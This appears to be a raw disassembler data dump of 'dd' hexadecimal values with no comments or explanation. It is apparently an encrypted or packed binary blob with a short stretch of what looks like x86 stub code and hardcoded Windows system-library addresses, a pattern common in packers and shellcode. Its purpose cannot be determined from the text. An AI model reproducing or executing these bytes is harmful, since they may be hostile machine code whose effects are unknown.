dd 4DD991BDh, 0C728BE1h, 0CF6CB206h, 40FADEB8h, 0DF3E443Bh
dd 733E61A0h, 0B21D9B7h, 3F6FB2B8h, 3921D9B7h, 0BC9AE1E6h
dd 155FADAh, 0B1ED43A0h, 0DA27B568h, 1E1h, 0F04FD124h
dd 0C46E9AD9h, 65B7EE8Ah, 1991D4DAh, 4F2E598Ah, 83A6E5FCh
dd 21D9CA2Eh, 4F07EE48h, 3F9EA4h, 80324326h, 1163BAA5h
dd 7F767B26h, 0DF997F79h, 55F79CC8h, 0F02BA729h, 9CA25C3Eh
dd 0C882683Ah, 38F0D7B1h, 5682E532h, 775D4861h, 2623B9BDh
dd 341B5E64h, 0E7A71B9Eh, 45434800h, 0A99FA45Ch, 0B5DC277Ch
dd 0F3D92380h, 466B8ECDh, 30A913E1h, 0E0CFE2DDh, 54A7A913h
dd 7E588FA9h, 8ADADF97h, 32353B0Bh, 0A4AA558Bh, 0F30AC4AAh
dd 787E3619h, 0F04FD32Bh, 0F71B04D6h, 1427DDD4h, 944699A9h
dd 484DF8B2h, 90AA644Ah, 191ED8BEh, 899B0DD2h, 6BC8FDDAh
dd 67813B21h, 0F0F5AF95h, 96AD8A98h, 8DD53E73h, 0CEE53837h
dd 50550DF4h, 0BAF15359h, 1BBA17Bh, 8DD4AB06h, 7A80D337h
dd 0DFE49E80h, 971A3D7Ch, 0DF378DD4h, 0EC32868Ch, 0CDF9384Fh
dd 8A9EE594h, 0B4F7FD3Bh, 378E6F01h, 8B452B85h, 0EF4C6E0h
dd 6F514F54h, 0CBB2B0B5h, 2E100E13h, 8C716F74h, 0E439EED4h
dd 99D8EF99h, 8E6F3B76h, 0EAF04337h, 0E8CE1875h, 5C42142Eh
dd 0D9459DA2h, 0C7B07153h, 68130A0Fh, 0E7CCA6BDh, 0A7CA292Fh
dd 378E6F12h, 2802196Ch, 25878D45h, 0AEB36D53h, 2A0ECDB0h
dd 0C9746B70h, 20DFC6C4h, 0D5DA853Dh, 353AF2D7h, 9B9EF3E5h
dd 694932DEh, 90AF4BA8h, 0E34AAEFCh, 0F1B2923Dh, 0A3644A9Ch
dd 0ADFD02BAh, 80F1A439h, 0BD681336h, 31EBD1A3h, 0F14ED42Ch
dd 96E6B7DAh, 5630378Eh, 90AFB56Dh, 6E51233Dh, 86609FB6h
dd 0EBE2E79Fh, 8E96C1F0h, 646ABD37h, 0CD53BF17h, 8B4328E9h
dd 39E4DBE0h, 4C58F622h, 0F9AF472h, 916BAA09h, 0A8EBF1ABh
dd 378DCAF9h, 715A1945h, 0E73E5084h, 556FC2E1h, 8B452B5Bh
dd 5CDB4571h, 840C2245h, 176A2E5Ah, 8B432600h, 0B9CC4874h
dd 7E7C3B7Ah, 0B3DF1678h, 0B863D3DBh, 3F393F54h, 479FA45Ch
dd 20435AD9h, 2679F712h, 0CD14196Ch, 29BA08E0h, 6980BF61h
dd 59ED0C46h, 0C606322Eh, 0FAD900E8h, 0D82B4A50h, 854470D3h
dd 0B393AB34h, 0EF4EEF4h, 48A77B54h, 0D3BCEDECh, 566A5h
dd 0FAB49C00h, 6F270EE0h, 0E69E8355h, 5911FACCh, 0D18B6D3Fh
dd 0C47962B7h, 3C0E28E2h, 0B2849E58h, 2BFD17CFh, 91718B45h
dd 0D32E83A6h, 0D64821D2h, 0E09AC63Ch, 65810A1Ah, 66AAFE04h
dd 5073B2C9h, 29BA8361h, 50DC66F0h, 0CBA2B83Fh, 2AE4C678h
dd 5CA2C524h, 9A2E59FFh, 0F279385Bh, 0B20521D9h, 657DCBAEh
dd 0DCE246E1h, 27536ABDh, 1C3FAB14h, 21D9A995h, 2A8A8EE1h
dd 5AA7ADF1h, 0DA5F9B13h, 7F59A421h, 0E4DBE098h, 0B61469DEh
dd 53D4A788h, 4B6689C8h, 3321DA58h, 0D13CDCE0h, 0A7793C52h
dd 0B11DA1h, 0E2670000h, 29BAA09Bh, 19FF89C7h, 0B8BD7558h
dd 0D0FC16C1h, 0AACDE441h, 29BAA10Fh, 110F1467h, 0CF876A2Bh
dd 0A11C95B8h, 0F6229BAh, 0F31E4A64h, 19F671D9h, 7D2890BFh
dd 2FFB2766h, 0CE24FFF5h, 1AD2B96Bh, 0EAE8D114h, 449E29B9h
dd 0ABA2A75Fh, 0EB407194h, 0E33629B9h, 0A4D03338h, 0DE049CDAh
dd 626A103Bh, 17228084h, 866C666Ch, 9B86B2CCh, 2D60839Ah
dd 0C929BA4Fh, 7E13549Dh, 0D7DD93AAh, 90CA0CB8h, 2689F3F4h
dd 0CFD48E74h, 0E1282DD8h, 29BA17CCh, 0A955AAD7h, 8DB0C766h
dd 29BA1800h, 0CD0C2376h, 0BA1807AAh, 161C6F29h, 9CB2B4h
dd 0D1480000h, 0B6D9F04Fh, 2E5AA49Ch, 0CCCACF22h, 0EB172EE8h
dd 13B2A3FCh, 1E808664h, 0F50C2DF2h, 34F3DCB6h, 9B92974Fh
dd 0EA7EAF0h, 6821D9E4h, 3C91015h, 40CE64A1h, 0FE2C82DFh
dd 3EAC2BA4h, 0BEC47E64h, 553Ah, 4CD18400h, 7497D6EDh
dd 29BAA13Dh, 81E0E639h, 0BAA1535Eh, 0D3D82B29h, 0A8CBF1D5h
dd 29BAA109h, 7D371B75h, 2BD68178h, 0A838E511h, 14F3F21h
dd 0D4EB96F9h, 0BA61ACB1h, 0D2D72A29h, 0BAA2228Bh, 0FF548129h
dd 546BCE53h, 9C543B15h, 220A5396h, 0F94C29BAh, 452BE5DFh
dd 4923868Bh, 6BEA160h, 595F565Bh, 0A8BF795Fh, 71B95F7Ch
dd 494FD034h, 0CF55BBE7h, 728934ECh, 0BE765933h, 79BCC2B9h
dd 2E5A0685h, 0DC947953h, 5F64B7D6h, 0D9F99518h, 0EA47A821h
dd 0D4415694h, 0AE7AA653h, 8F448070h, 2091B4CBh, 5621DA42h
dd 3779FD03h, 0C3000000h, 0D9F04FD1h, 5A5F19FFh, 0DBFE5D63h
dd 2E5AA017h, 6C240761h, 7F59BCC1h, 624F7296h, 1C21DAA0h
dd 0D5181EC9h, 21DA9FD8h, 51AF0465h, 53D4EB15h, 1093Eh
dd 452B8800h, 0F7DC9B84h, 98433A3Fh, 63332D94h, 45F084F7h
dd 0A6604240h, 3BDA3A1h, 0CF6F9BFEh, 12FAF7B6h, 472D272Dh
dd 808FA286h, 8EABBE94h, 372E33DEh, 7657728Ch, 0C029BA2Fh
dd 2F535E81h, 0D82B29BAh, 38F2D8D2h, 85A8E71Eh, 29BA2F2Ch
dd 2EC2EF12h, 69BC29BAh, 99513892h, 0DBF29D94h, 0BA2EF9B8h
dd 2C328529h, 8D924C32h, 354CEB35h, 5A101412h, 0E8FF522Eh
dd 502B86A9h, 5321DAh, 0A46C98FAh, 0A94D7087h, 0DF2677CCh
dd 0A55D4620h, 3AEA9A0h, 7B29B7B4h, 7C813B21h, 0B8D6DA85h
dd 0DE17D2FFh, 71B0C772h, 0F5FAB297h, 0A426F92h, 0E93C29B8h
dd 5C3E383Eh, 0D4B688A2h, 0A273411Ah, 0A38CE60Eh, 21E75h
dd 42FCE400h, 0B76F5628h, 2EE6CB9Dh, 0A1594214h, 19D3B587h
dd 0C01AAFFh, 8456702Ah, 0FACCE6A0h, 73455F17h, 0D9B9D38Dh
dd 0CFE6CBEEh, 1E9021D2h, 23492B84h, 0BAA0B100h, 0CF7ACD29h
dd 43FDE3B5h, 4FD12F29h, 779AD9F0h, 29BAA13Ah, 5B3FF144h
dd 9FA59CA1h, 9FD51D40h, 11EB2E5Ah, 4B6A7028h, 0AA550FF1h
dd 18D0B993h, 248DB013h, 5A21DAA0h, 9565C07h, 0DA9FEBC2h
dd 9CF15221h, 0D4EB003Eh, 0D92B53h, 0F9380000h, 0DA93DBD6h
dd 4A50A321h, 5B87C628h, 0A4C8B196h, 0B100FBA7h, 0CD29BA89h
dd 947A747Ah, 3372D5DAh, 0BA89A110h, 848ADD29h, 0E9EEA88Ah
dd 0BA8E2BA2h, 10CAB029h, 2B3E24F6h, 595920E5h, 0AAAF5A40h
dd 5A71CE52h, 5A50EF37h, 0C7EA292Eh, 21DA8EEAh, 1C3B4194h
dd 0EFD8B2C9h, 353B3237h, 0BA79A7D3h, 5D780A3h, 0DC2F2678h
dd 4E6386C5h, 2829B7F6h, 9670CFD5h, 0EE0FAB4h, 0D199722Ch
dd 0EEE60EB5h, 111D705h, 9F10000h, 7C63354Fh, 0F3D8AAC4h
dd 664F213Bh, 0E0C294AEh, 0EB70C26h, 637D3719h, 0D9F3AD91h
dd 526C2407h, 0C6E09A80h, 0D9D8FBE6h, 0A521D2CEh, 87C69933h
dd 0BAA14D64h, 0D0D62929h, 203AF4D6h, 0FCE3BDE9h, 78ED0F5Bh
dd 2429E1C6h, 472D272Dh, 0C679738Dh, 0A14D6487h, 0D62929BAh
dd 36F0D6D0h, 934D3331h, 31164279h, 0AC052880h, 0D229B9A8h
dd 83CD7B7Fh, 30E0343Ah, 0A7B9DCF3h, 0F52E5C70h, 777D371Bh
dd 5F17FE58h, 0B3B8635Ah, 0FB15CFB5h, 0FA1D4329h, 21D370B7h
dd 0D4DD00BFh, 0AA21D370h, 0EA01AC57h, 81682710h, 22CDC4C9h
dd 7E361F1Dh, 25D78279h, 37848A42h, 6E6E4F0h, 0DF997F18h
dd 3FF7DCDAh, 0AC91433Ah, 477CEFF4h, 6180A7EAh, 0A9614822h
dd 71B03AEh, 0BAA0F8h, 5BD0D629h, 14CEB406h, 884228FAh
dd 0E49C8583h, 67BCE9DFh, 9FE384B0h, 545D43DDh, 0B46E544Eh
dd 28E2C89Ah, 0DF523h, 0F4E0000h, 77DC5ECh, 585EB1F8h
dd 2B662436h, 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h
dd 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh
dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 57243489h, 0C781E789h
dd 4, 8704EF83h, 895C243Ch, 89532434h, 4C381E3h, 83000000h
dd 1C8704EBh, 3C895C24h, 0BCBA5224h, 8907E7C6h, 24148BD6h
dd 8104C483h, 4ECh, 24248900h, 4240481h, 5F000000h, 3DF468h
dd 24348900h, 0FF08478Fh, 835F2434h, 34FF04C4h, 0C4835E24h
dd 0AC69E904h, 0AAFBFFF8h, 341AF42Ah, 1328E0C0h, 0B1244735h
dd 0D3FCB832h, 0C50307E7h, 101CE0FFh, 0F3FE78C0h, 0EF9C48D6h
dd 61EC5DEBh, 0F68B23E7h, 0E11B0AD8h, 12E84787h, 4A000000h
dd 80134541h, 0CCD9F6EEh, 0F2989D42h, 0D2A0228Dh, 0CE991h
dd 0E0500000h, 0FD744458h, 0D18B1270h, 605FB0DCh, 0F18B5A57h
dd 80C78161h, 66000062h, 0B8D2F081h, 6E9C933h, 0F7000000h
dd 835F6BBCh, 3934FF69h, 8B57B560h, 8B5B61D6h, 12C381D1h
dd 0E9054E89h, 6, 0BF03B48Ah, 0EB814B35h, 110EAE81h, 81F38B66h
dd 9EFAE6EBh, 0B70F604Ah, 14E8D6h, 86E10000h, 0A5F8092Dh
dd 44B347CAh, 0F2BEB361h, 0D1E09FA3h, 615AA64Bh, 0E8816653h
dd 48F726Bh, 0F78B660Fh, 2A30BA66h, 6602E983h, 0A486E681h
dd 0AE94949h, 0E8000000h, 8EEFD8h, 93635580h, 80F981D4h
dd 0FFFFF9Eh, 1B85h, 88A0F00h, 0F000000h, 28Eh, 0E9D18B00h
dd 2Fh, 2F574C66h, 389E0DA1h, 5E960h, 0A6EF0000h, 66DC9F6Fh
dd 619054BBh, 0FFFF50E9h, 0C323ACFFh, 2DC519EAh, 65D5B306h
dd 64A3F1BCh, 0E987D565h, 0ECh, 0
dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h
dd 77E60000h, 2, 5 dup(0)
dd 77E7A5FDh, 2Ch dup(0)
dd 2, 32118AC5h, 369C6622h, 0B01A3E35h, 32156694h, 0C4CFE624h
dd 321577CAh, 605C0A11h, 4009C39Ah, 921B0B3Eh, 96FFB26Ch
dd 534D7374h, 34A4DB0Bh, 471561A4h, 0F7A8E52Bh, 32128610h
dd 61457FFCh, 23ADA6CFh, 0BB156626h, 0D2359394h, 5088EB8Fh
dd 0CD1284F8h, 0B14D3DF1h, 0D214A3ACh, 2561668Fh, 23AD3514h
dd 0BB156626h, 0D2359394h, 6388EB8Fh, 0CD1284FDh, 3D4D3DF1h
dd 32156792h, 5AEC9A88h, 32156EDCh, 0BB3172ABh, 68C5EFD3h
dd 3209EF87h, 0B81A6644h, 32156634h, 321577F8h, 0AEDD6388h
dd 6ADF32h, 8874CB86h, 62F97540h, 8F960CB7h, 35F2B388h
dd 7E916922h, 3D156611h, 32156B0Bh, 0F3940644h, 4F3EB312h
dd 7A0D35A8h, 0B79807F8h, 35F2A36Eh, 0CAC599DBh, 0ECA26971h
dd 2D13B009h, 0BF744EF3h, 0D5D03CA7h, 27966916h, 0DB156688h
dd 32156654h, 7E9E9993h, 0D814C5Bh, 0DD65B606h, 779B7C32h
dd 0F4E0B6DDh, 0D2123F94h, 3CFC308Fh, 20156644h, 98198298h
dd 0BA1E7CA4h, 0E1FE9C33h, 8A470E10h, 3FFCFA8Ah, 0E8156611h
dd 0CC816D6Eh, 0DB1C9A80h, 0D21BCB09h, 1B38D3EEh, 26FC6168h
dd 2A156644h, 6B460390h, 6B7C2F04h, 5D42BDBh, 99768BD2h
dd 0BF02041Fh, 0D16A8E94h, 3E9D698Fh, 3D156644h, 321560ADh
dd 32976911h, 0CD156688h, 339A6994h, 0CB156622h, 355CE398h
dd 0B51A6168h, 32156640h, 5388D542h, 22B8E3D6h, 32156168h
dd 3AFC6644h, 96156622h, 5D04FF3Dh, 0CA27F798h, 354CE382h
dd 3D5061C2h, 32157797h, 32198F88h, 31466644h, 0FB7BDD2Eh
dd 1070BD7Ch, 5B7D2540h, 0C79B142Dh, 1D14D3DDh, 34FC61F1h
dd 0ED156688h, 0BB6A7093h, 0CA90EB76h, 0CB128628h, 0BBEDB677h
dd 0D22147C1h, 32068F25h, 0B4826611h, 0B9A2A303h, 10CA0040h
dd 0DF0D4668h, 0B048A274h, 6B90A023h, 71128643h, 3214E22Dh
dd 5AED6611h, 0AE720DD6h, 32156EADh, 6EC7AB22h, 0C0971CC8h
dd 33A09997h, 0C712866Bh, 0BEDE3AFh, 0CDEC61F1h, 3EFD0658h
dd 0C8156644h, 0B1ACC49Dh, 859E2E32h, 0B98CE189h, 0BB743897h
dd 0D5C0D2A7h, 32018F16h, 0FDFA6688h, 24A4A62Fh, 329AEB43h
dd 0E5B56B2Ah, 0E43CA279h, 0B7D36903h, 35F5617Bh, 32058F45h
dd 0F2366688h, 257B7FDh, 0B51A87C4h, 8D626716h, 1B7D5411h
dd 0DBFB042Ch, 32156631h, 77CEEB64h, 9834B9Dh, 2985160Fh
dd 0D90F7382h, 0CD994EA2h, 0D23A673Dh, 0B7989E43h, 35F55FDAh
dd 0E1940071h, 0CD7416F8h, 0B79C9F94h, 35F2B39Ah, 6B90A0E8h
dd 7712868Fh, 3212E24Bh, 0BC1A6622h, 32156610h, 0AD70E71h
dd 0BE1ABC24h, 32156623h, 33A099E4h, 0CB1286A7h, 0BEDE3C9h
dd 0B37561C2h, 575789F7h, 0E4AA69F2h, 0CEC59925h, 0E7A9E3ABh
dd 0B31A61F6h, 32156689h, 38FC06BCh, 0FE156622h, 0C00D59DFh
dd 78451785h, 55AD00B2h, 8F960700h, 35F570A0h, 5E906988h
dd 0DB156645h, 32156629h, 75AFA1DCh, 2098042Bh, 0F4514682h
dd 0D2123FA7h, 5AEC2316h, 0C835180Eh, 0E5949F24h, 7236951Ah
dd 33A09970h, 521286A7h, 3210E14Bh, 0B3736622h, 0CEB4E7C1h
dd 0CA90EBE9h, 3D12867Dh, 321574ACh, 32188F11h, 81E36688h
dd 0BC7A4981h, 0B70EB5A2h, 3D960AAFh, 32156E05h, 30956944h
dd 52156622h, 52C59970h, 32156C61h, 2A05E644h, 0FF6D759Fh
dd 0B3AF0D28h, 11D55A56h, 0B79C077Bh, 35F2B3E2h, 321560F8h
dd 1A89E88h, 0CBAA81A0h, 354CE3E4h, 0CB5961F1h, 32157261h
dd 0E735DB44h, 0FD301F76h, 35D7F650h, 0D6FC6E9Ah, 25CF2D31h
dd 0E2D60ED7h, 0B91A8637h, 32156686h, 32156FADh, 0D563F422h
dd 832B980h, 87EAB2E1h, 35F54945h, 321561CBh, 14703111h
dd 0F3F9543Fh, 0BEDE3C9h, 0B01A61C2h, 32156610h, 3CFC0674h
dd 156644h, 87D9BCDCh, 0D541CDBDh, 673ED7A7h, 32078FD8h
dd 0B9046622h, 4585DADFh, 76AAAA0Ch, 43DAB379h, 4E6834C0h
dd 0DBC59970h, 3215668Eh, 1B99BBCh, 0B79C9B67h, 35F2B3D5h
dd 32157761h, 22776A44h, 51A2CBA8h, 5194BFA4h, 1EEE3597h
dd 0DBE9CE62h, 3215672Bh, 349B6971h, 0B3156688h, 1A437C85h
dd 32018F27h, 0F5686611h, 30097362h, 311A5B22h, 1FD5F14Ah
dd 4544F0C2h, 0F4748C07h, 0D2123FC1h, 54753425h, 0D09FA59Ah
dd 3F7D9EE9h, 3DA92CA0h, 321567A1h, 87EA9A11h, 35F57E95h
dd 42D4E624h, 32156ACBh, 0C2A2A211h, 2333F196h, 9BCA559Ah
dd 0B798079Ah, 35F55FE9h, 3DC59970h, 321567C7h, 0DB759322h
dd 3215661Ah, 1F90CE88h, 5F88EF82h, 3D81BE05h, 32156695h
dd 0B79C0788h, 35F2B384h, 6AAB0042h, 32138F12h, 9CC86688h
dd 478CBED6h, 6B90A043h, 60128616h, 32156361h, 6FD90444h
dd 7A7DDC78h, 3DB32A5Bh, 32156108h, 33926944h, 0C7156622h
dd 2A08D3EEh, 0BC1A6168h, 3215664Fh, 321560CBh, 0DBD15711h
dd 0BF48F810h, 0D22C9EC1h, 0E2EA9A25h, 26986971h, 0DA156688h
dd 3215664Ah, 0D32B67BEh, 0E081F966h, 30A59AF5h, 0B34D2F76h
dd 0BC6087F0h, 0B79C0702h, 35F2B34Ch, 6B90A0B1h, 60128625h
dd 321577F8h, 28F6D88h, 4DA5A9EAh, 750DFC81h, 0C6C026C0h
dd 0D87DC8B7h, 52E824F0h, 53E00E95h, 32156CF8h, 2625E688h
dd 3BD3CB77h, 0CDC07D61h, 0D23A67A4h, 0B7989A8Fh, 35F55FBCh
dd 0B9739E42h, 0E2EA07D2h, 32156A61h, 0EF5F1744h, 0BE5AE2Bh
dd 2B027861h, 1F90EFE0h, 0CE12865Ch, 354CE3E4h, 3D6261F1h
dd 32156C06h, 32108F44h, 90846622h, 5A17961Ah, 0C182CE2Bh
dd 3200E94Bh, 22FC6622h, 0D8156611h, 1A577FE9h, 39313721h
dd 65F9800h, 0CD7D8CA1h, 0D225E33Dh, 3AFC9A43h, 27156622h
dd 1D5BB1Ah, 0BFC16811h, 0D22C9EC1h, 0E8940625h, 611224D2h
dd 53D7EDEEh, 8575B6BBh, 309769CBh, 60156611h, 0B79C07D1h
dd 35F548CDh, 32156ECBh, 8A7A2F11h, 0D1092248h, 6B90A0FAh
dd 60128625h, 3212E21Eh, 0BC1A6688h, 32156645h, 321B8FD7h
dd 7C5E6611h, 0F108C005h, 61EDD1F8h, 0A4848AC0h, 0EF247179h
dd 321A8F02h, 93BB6644h, 3CE2A5FCh, 93AC163Bh, 0FB374A7Fh
dd 33A0990Dh, 0CB12860Dh, 0BEDE39Ch, 52756168h, 54743817h
dd 0CD7494A9h, 2A9569C1h, 3D156688h, 321574C2h, 32188F22h
dd 0A59E6611h, 301E2285h, 0C9E9A88Fh, 0BB489325h, 0D214EB94h
dd 32078F8Fh, 72116644h, 0DB040DECh, 7FE1F592h, 0EC7D22C4h
dd 681E3A80h, 321DED2Dh, 0BB1A6611h, 3215668Ah, 0B7D30724h
dd 35F5617Bh, 0B7D9347h, 0CAC179E5h, 1B38D3BBh, 0B37561C2h
dd 0CE3029E7h, 209769E9h, 0DA156644h, 3215662Eh, 0F123E8DCh
dd 320C9947h, 5A709F21h, 0B798077Bh, 35F619F9h, 3214E387h
dd 0CDE06644h, 0B79C9FF2h, 35F57E48h, 32156861h, 0F29A2B44h
dd 186EB957h, 44D14ECAh, 0F42E2899h, 0D2123FC1h, 3D752125h
dd 0B373B0A6h, 53950469h, 0EE051C2Ch, 8A7306A3h, 0E0958A20h
dd 87EA071Eh, 35F54945h, 320EEB2Dh, 0B71A6611h, 3215669Dh
dd 321576ADh, 0D36222h, 7DCE054h, 0C90FD3Dh, 6D72CD59h
dd 2791694Dh, 52156611h, 32156861h, 44CCD644h, 455D69FEh
dd 38DC43Dh, 5317E265h, 0BEDE3C9h, 547561C2h, 0DB7292A8h
dd 32156684h, 0BAD29DF8h, 0F6376FF5h, 0E004B431h, 0DBC599E9h
dd 3215664Dh, 1D393429h, 0A605CAFDh, 0D390EFA5h, 0DB12865Eh
dd 3215662Bh, 0B71FB720h, 8610567Fh, 6B90A030h, 75128625h
dd 0B2C3ED71h
dd 5A742C53h, 0B81AD3A6h, 3219EA2Dh, 0BF1A6611h, 3215668Eh
dd 3215EE4Bh, 87EA6622h, 35F54910h, 0A02ED8E8h, 53ED38FEh
dd 0BEDE3AFh, 3DE061F1h, 32157401h, 37FD0644h, 22156622h
dd 0E4B56099h, 0F19400D7h, 0CD74F8F7h, 229569F2h, 0DB156611h
dd 32156683h, 3B26D617h, 69A54D94h, 0BBE6CD78h, 0D5C0820Dh
dd 3F946943h, 0DB156622h, 32156619h, 9F89131Fh, 76A418EDh
dd 3214E22Dh, 0F5E96611h, 0D2031B0Dh, 32151E43h, 8F969A22h
dd 35F54478h, 77916988h, 3D15665Eh, 321576A3h, 38986911h
dd 0DB156688h, 32156641h, 9132A8E6h, 6B90A093h, 7E12868Fh
dd 5818DF24h, 8D1A6EEAh, 0DB7D07D7h, 3DCCBC94h, 321576C6h
dd 35FC0622h, 1156611h, 4524E4BBh, 5375F1ABh, 321B8F43h
dd 614C6611h, 0A422A7C5h, 0FBE05A9h, 0EF587140h, 1D14D3EEh
dd 3DFC6168h, 25156644h, 0DFA2F1C7h, 0B1A04BEBh, 518AFAF7h
dd 0B51AB119h, 32156606h, 321D8F71h, 252A6688h, 8A919544h
dd 3DFD241Dh, 17156611h, 0B16F763Ah, 237F1EDEh, 72A793F8h
dd 534B62BDh, 0BEDE305h, 547561A4h, 0D9E7A0A3h, 53C5ED77h
dd 37FCB677h, 2D156644h, 0F69E9134h, 0E7C5E398h, 0F4E0616Fh
dd 0D2123FC1h, 54752A25h, 0AD738C90h, 321FE787h, 37FC6644h
dd 0AC156622h, 91AD8E04h, 21FC06E9h, 0E4156644h, 9D860ACCh
dd 66A7C72Bh, 0EA305E24h, 6A04FEC6h, 5446583Dh, 0DF03AC90h
dd 0FC7D07D3h, 52C8129Ah, 0B6D9DC44h, 0CD74B89Ah, 0D23A673Dh
dd 0B7989A43h, 35F55FDAh, 32128F71h, 98F56688h, 0B0D24305h
dd 0CD7493DFh, 0B79C9EC1h, 35F2B35Ch, 32156BADh, 513AEF22h
dd 0AA2A28FCh, 2591C6ACh, 0B7D351ABh, 35F5617Bh, 321A8F5Dh
dd 0CB536688h, 3F0F5984h, 0B8128CABh, 41F1599Bh, 0B02A0ED2h
dd 0B275D1C5h, 851AACFDh, 87EA07CEh, 35F54989h, 3FC7E724h
dd 896222A1h, 1CEF0EF5h, 0CA90EBE9h, 5212867Dh, 13CBE744h
dd 32188F9Fh, 844B6688h, 0B29D6CE6h, 4500E12Fh, 530B8BE2h
dd 0BC1AB677h, 32156663h, 32128E42h, 78586611h, 4FC60429h
dd 21FC3EF7h, 7E156622h, 5857758Eh, 0BCB8CDBBh, 0FFDCE892h
dd 0D102BEA2h, 0DB74269Ah, 32156686h, 4D01EA40h, 0DD81FC05h
dd 2B83AD5Bh, 0B79C2C91h, 35F2B39Ch, 321CEE2Dh, 0B8756611h
dd 0E594007Ch, 0F4746E80h, 0D2123FA7h, 0DA752A16h, 32156698h
dd 0F6976A78h, 58070FA2h, 88DE1872h, 788F038Bh, 4F048FC5h
dd 534E1C2Fh, 1D557E79h, 5444063Bh, 0B0BBDC5h, 32048F7Ch
dd 3DA86611h, 0BA703F0Bh, 71113081h, 0C867FA86h, 53CE074Dh
dd 32156161h, 0F5C16744h, 3B5BE9B9h, 1D14D3EEh, 0DA756168h
dd 3215664Fh, 0E0057C7Ah, 0ED633CB0h, 0B39E8DFAh, 1E152DA6h
dd 0B3733D67h, 536F40CAh, 0BEDE305h, 0CDE061A4h, 38FD06F2h
dd 39156611h, 6A45E9D5h, 0E9A2F3D0h, 6A740645h, 0B79C07E4h
dd 35F2B350h, 32156AADh, 503A6422h, 0B511ECB0h, 7C9CAFEAh
dd 6B90A067h, 74128625h, 34010EE9h, 3CFCDC56h, 53156644h
dd 664BB03Ch, 0E6206879h, 38368363h, 33A099CBh, 5212860Dh
dd 9A8DF2AEh, 71FAE796h, 531B58EAh, 0BEDE3AFh, 0CDE961F1h
dd 0B41A0658h, 32156646h, 81AA9692h, 534EEF88h, 0E7F5E301h
dd 0BE1A61A3h, 32156623h, 6B90A0E8h, 7512868Fh, 3214E34Bh
dd 5AED6622h, 0B3C9766Bh, 3D65D0E8h, 0CD74BFFBh, 0D23A6797h
dd 0B7989F16h, 35F55F70h, 321568ADh, 5F25C922h, 0B55B838Dh
dd 34994854h, 0CDCC8EF8h, 321A8FF2h, 0A63E6611h, 96773E56h
dd 0BAF42F59h, 0D4A4D683h, 32018F01h, 7C286688h, 37BCC40Bh
dd 0B7D357C1h, 0CBD127AAh, 882C1CEEh, 0B79CF53Dh, 35F2B3CAh
dd 32078F71h, 36F46688h, 0CFB6FE90h, 0FAA980B7h, 0BFC06D3Ch
dd 0C16DEF33h, 321F8E24h, 5DB56622h, 0AE2EA7F8h, 957B57F3h
dd 329D691Fh, 53156622h, 6B90A070h, 7512868Fh, 320DEA4Bh
dd 3D756622h, 3CFC9DAEh, 73156688h, 69CE3D8Eh, 307E87C8h
dd 0E8E4D37Ah, 9E7D075Dh, 0DBFAE1CAh, 3215662Dh, 80D07AB7h
dd 8A652578h, 770D6E5Fh, 0CDF149D6h, 0D23A67A4h, 0B7989E8Fh
dd 35F55FBCh, 36936942h, 54156611h, 54C46630h, 534450FDh
dd 0B81AB6DDh, 32156616h, 0C4AA69E8h, 0BB749ECFh, 0D5C08AA7h
dd 3F946916h, 0DB156688h, 3215664Ch, 442B5A9Fh, 0C834B2CAh
dd 354CE34Eh, 525261A4h, 5A743D73h, 0E68FC1C3h, 32157261h
dd 0F06CCD44h, 0E2251A34h, 0F8BB6333h, 3EBF2B9Ah, 0CE2F2674h
dd 33A09905h, 0CB12863Eh, 0BEDE305h, 0CDEC61A4h, 321B8FF2h
dd 69FC6611h, 0E28F4D38h, 0A79EB28h, 8B170747h, 0E7E5E398h
dd 0B41A616Fh, 32156648h, 0FBAD0042h, 329869B7h, 53156688h
dd 6B90A0BCh, 75128625h, 321576F8h, 0F5FA0188h, 0DC658FC8h
dd 6DCD9E84h, 0D88F6387h, 0B110E02h, 39FCDC85h, 13156622h
dd 0BE3AAA85h, 0ABC3959h, 87EAC77Ch, 35F54923h, 321DE21Eh
dd 0B81A6688h, 32156646h, 0B7980742h, 35F55FE9h, 0DBC59974h
dd 32156642h, 37770DA3h, 0B79C87FFh, 35F2B37Ch, 3211E44Bh
dd 61756622h, 8F96074Fh, 35F566D9h, 89906944h, 0CE156622h
dd 354CE3D7h, 52526168h, 32156CADh, 0D695522h, 1AA9A0F7h
dd 0DB33AEA7h, 3215664Ah, 0E950DF2Eh, 2DA1800Ch, 77762172h
dd 5A749EE9h, 0D2674B45h, 321569F8h, 0E608B788h, 0ABBC5F7h
dd 55E6D765h, 8F76F86h, 32157561h, 219E6244h, 0EA03AACh
dd 6D2C7F67h, 0C9D9E6C9h, 28B197F3h, 1D14D3DDh, 0BC1A61F1h
dd 32156691h, 3206E54Bh, 3CFC6622h, 0BA156611h, 73F9D4A1h
dd 0B6874453h, 74DB135Bh, 0B7989E34h, 35F55F70h, 3DC599BCh
dd 321569A9h, 321F8F11h, 1516688h, 32EBDE99h, 94E22DB2h
dd 0E7EDE398h, 3DFC616Fh, 8A156644h, 8D6C3817h, 102F80FAh
dd 99E653DFh, 0B7D300A9h, 35F5617Bh, 837D9A56h, 3D9B4F3Bh
dd 321567C1h, 87EA9A22h, 35F54910h, 3202E687h, 52756644h
dd 321B8F43h, 46236611h, 0D65A463Fh, 89E42207h, 2F36603Fh
dd 0B7989A70h, 35F55F70h, 2EB5D924h, 3AFC09BAh, 0D5156611h
dd 0FAFB9C1Ch, 537B06FBh, 5275B6DDh, 0DCD7E777h, 0DA749340h
dd 3215664Ah, 823851DCh, 0C167511Ch, 4249BDF6h, 0B01A265Fh
dd 32156622h, 0B79C074Fh, 35F2B374h, 32138F24h, 0E7FB6622h
dd 0C58DEEE3h, 53D6D187h, 354CE382h, 3D5661C2h, 32156E9Fh
dd 8D1A0688h, 0F99E008Fh, 78B20E43h, 0DA75A667h, 32156685h
dd 0D09466Ah, 5F2264h, 1F8A6090h, 32198FC0h, 76E46644h
dd 59CDC2DDh, 8589713Ah, 524C73D0h, 0F8AB00BDh, 0CD740797h
dd 0D23A67A4h, 32048F8Fh, 2DDB6644h, 610CE636h, 307DCE1Ch
dd 76FF9232h, 0BFCF403Ah, 0D22C9EA7h, 0CDED9E16h, 0B79C9E58h
dd 35F2B044h, 3202EA2Dh, 0DB756611h, 32156685h, 0FA11C3CEh
dd 6E2B84C7h, 0D0380F94h, 0F99E00FEh, 6B90A025h, 7E128625h
